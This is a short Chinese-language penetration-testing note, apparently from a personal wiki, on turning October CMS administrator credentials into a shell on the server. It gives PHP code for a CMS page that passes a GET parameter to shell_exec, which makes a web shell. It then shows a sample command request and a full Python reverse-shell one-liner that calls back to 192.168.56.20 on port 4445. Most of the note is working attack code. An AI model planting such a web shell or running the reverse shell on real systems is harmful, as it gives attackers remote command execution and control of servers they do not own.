跳到主要内容

October

一、当获得 October 后台管理员的凭据时,该如何依据当前情况继续获得服务器的 shell。

实验环境:无

(1)导航到 CMS 编辑页面,并新增一个 shell 页面,同时对该页面设置相应的代码。

# MarkUP 部分
{{ this.page.myVar }}

# Code 部分
function onStart(){
$this->page["myVar"] = shell_exec($_GET['cmd']);
}

(2)然后访问该 shell 页面并给 cmd 参数传递想要执行的命令。如 http://192.168.56.55/shell?cmd=whereis%20python

(3)确定了目标可执行 python 之后,编码 python 版本的反向 shell,即可获得服务器的 shell。

/usr/bin/python3.6 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.20",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'